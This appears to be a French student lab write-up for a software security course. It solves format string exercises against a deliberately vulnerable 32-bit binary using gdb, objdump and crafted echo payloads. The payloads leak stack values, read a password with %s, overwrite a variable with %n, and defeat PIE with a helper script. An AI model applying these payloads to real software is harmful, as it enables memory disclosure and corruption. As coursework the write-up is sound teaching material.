7.2 KiB
title | date | author | tags | categories | ||||||
---|---|---|---|---|---|---|---|---|---|---|
Sécurité logicielle : TD6 String, format, vulnérabilité | 2023-03-10 |
|
|
|
Partie 1
Question 1
Ce programme affiche une première ligne avec les éléments suivants (dans l'ordre)":
c
AAAA
0x00000009
AAAA
Il affiche ensuite la valeur de value
dans une seconde ligne. Cette valeur a
été définie par notre premier fprintf
grâce à %n
.
Question 2
Grâce au commandes passées à printf
(fonction foo()
), nous pouvons remontrer
dans la pile et ainsi afficher les adresses.
%p
pframe
[...]
0xffffd60c 0x56555500
0xffffd608 0xffffd700
0xffffd604 0xf7fdb8d0
0xffffd600 0xffffd6c8
0xffffd5fc 0xffffd63c
0xffffd5f8 0xf7fc2540
0xffffd5f4 0x0804bff4
0xffffd5f0 0xf63d4e2e
0xffffd5ec 0x08049192
0xffffd5e8 0x080482ac
0xffffd5e4 0xf7c73230 <- '%p'
0xffffd5e0 0xffffd63c <- format
0xffffd5dc sp 0x080491b4
(gdb) n
Single stepping until exit from function printf,
which has no line number information.
0xf7c73230 <- on a bien l'affichage de %p
C'est exactement la démarche vue en cours pour détourner printf
de son usage
de base.
Avec la version PIE, c'est exactement la même chose: on affiche l'élément juste
au dessus du format avec %p
.
question 3
Avec les commandes backtrace
puis frame 2
, nous avons réussi à trouver
l'adresse de la variable var
: 0xffffc8a8 (sur notre machine). Ce qui
représente une remontée dans la pile de 22 éléments. Il nous a suffit de saisir
%22$p
pour afficher le contenu comme dans le code ci-dessous
./build/vulnerable-1_32
%22$p
0xffffc8a8
Question 4
Afin de saisir les 4 entiers , nous avons créé un fichier de commandes gdb modifié comme ci-dessous pour automatiser la saisie:
b printf
r < <(echo -e '\x31\x32\x33\x34')
Il est possible de lancer l'opération avec notre Makefile
qui se charge de
toutes les actions :
make gdb_vulnerable-1_32
Nous pouvons maintenant afficher l'adresse de buf
dans gdb:
p &buf
$2 = (char (*)[128]) 0xffffd56c
Au moment du printf
, SP
se situe à 0xffffd50c
, on en déduit par
soustraction que notre buf
se trouve à 96 octets plus bas que notre pointeur
de pile. En prenant en compte les adresses 32bits et la strack frame contenant
le format, nous injectons %23$p
pour trouver le contenu voici la commande
shell exécutée:
echo -e '\x31\x32\x33\x34 %23$p' | ./build/vulnerable-1_32
1234 0x34333231
L'adresse donnée dans le echo
est donnée à l'envers (bits de poind fort en
dernier) car l'architecture Intel est de type little endian.
Question 5
D'après objdump
, la variable passwd
se trouve à l'adresse 0x0804c01c
Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé
echo -e '\x1c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32
secret_password
La technique est simple : on injecte dans le buffer l'adresse de la variable
passwd
découverte au dessus et la "commande" printf
à utiliser pour afficher
ce qui se trouve à cette adresse.
question 6
Le fonctionnement est le même que la question 5 : objdump
+ echo
.
Il nous suffit d'afficher l'adresse de target
:
objdump -D build/vulnerable-1_32 | grep target
0804c02c <target>:
Puis de forger notre entrée. Afin d'afficher les caractères, il est nécessaire
d'utiliser hexdump
sur notre machine:
echo -e '\x2c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32 | hexdump -C
00000000 2c c0 04 08 20 20 31 32 33 12 0a |,... 123..|
0000000b
Question 7
Une fois que nous avons affiché le contenu de la variable target
, nous allons
pouvoir la modifier en changeant son contenu avec le format %n
:
echo -e '\x2c\xc0\x04\x08 %23$n' | ./build/vulnerable-1_32
you have modified the target to 0x6!
Question 8
Une fois la première modification appliquée, il ne reste plus qu'à forger le
paramètre de notre format pour rendre la condition if (target == 0x00025544)
vrai.
0x25544
est égal à 152900, en prenant en compte les caractères avant, notre
décalage est de 152896 pour mettre la bonne valeur dans target
(le décalage
contient les 4 octets de l'adresse)
echo -e '\x2c\xc0\x04\x08%152896p%23$n' | ./build/vulnerable-1_32
# [...]
0xf7c73230
you have hacked it!
Question 9
Pour réaliser les 3 questions précédentes avec l'exécutable PIE, nous allon avoir besoin des éléments suivants:
-
l'adresse de
main()
et detarget
que nous pouvons obtenir avec les deux commandes suivantes :objdump -D build/vulnerable-1_32-pie | grep "<main>" | awk '{print $1}' objdump -D build/vulnerable-1_32-pie | grep "<target>" | awk '{print $1}'
-
lors de l'exécution de notre exécutable vulnérable, l'adresse de retour de la fonction
foo()
que nous obtiendrons avec%15$p
. Nous avond obtenu cette valeur en observant l'exécutable avecgdb
en utilisantpframe
Voici un exemple d'exécution de l'exécutable avec la charge utile permettant
d'extraire le contenu de target
.
(echo '%15$p'; read hack; echo -e "$hack") | ./build/vulnerable-1_32-pie
0x565b92b4
\\x2c\\xc0\\x5b\\x56 %23$s
,[V 123
Comme nous sommes des administrateurs systèmes - et donc fainéants dans l'âme - nous avons écrit un script permettant de réaliser les calculs nécessaires pour la saisie de l'adresse.
Ce script est disponible dans l'archive jointe à ce rapport. Il suffit de
l'exécuter avec le paramètre -i
pour qu'il affiche les étape de création de la
charge utile. L'adresse de retour de foo
peut être passée en paramètre via
l'option -a
sinon il sera demandé de la saisir.
Voici un exemple d'exécution du script:
./hack.sh -i -a 0x5655a2b4
Info: I have the address: 0x5655a2b4
Info: remove 0x on address begining 5655a2b4
Info: Get main() and target address with objdump
* main: 0000124c
* target: 0000402c
Info: Caclulate the difference between this two address:
* delta: 11744
Info: get the main() address on our executable : get the 3 fist numbers of addr
and the last one of the main address reported by `objdump`
* main() address on pie process: 5655a24c
Info: Add the delta to main() address
* `target` address on pie process: 5655d02c
Info: Put the target address in the right order:
* address payload: \\x2c\\xd0\\x55\\x56
Get the Target :
\\x2c\\xd0\\x55\\x56 %23$s
Modify the Target:
\\x2c\\xd0\\x55\\x56 %23$s
Hack the Target:
\\x2c\\xd0\\x55\\x56%152896p%23$n
Le script donne enfin les charges utiles pour les question 6. 7 et 8 applicable
à la version PIE de vulnerable
. Il suffit de copier-coller la charge utile
désirée dans la saisie attendue par l'exécution de vulnerable-1_32-pie
.
Nous sommes obligé d'échapper l'antislash de nos valeurs hexadécimales car notre
saisie passe par la variable hack
avant d'être utilisée par le echo
.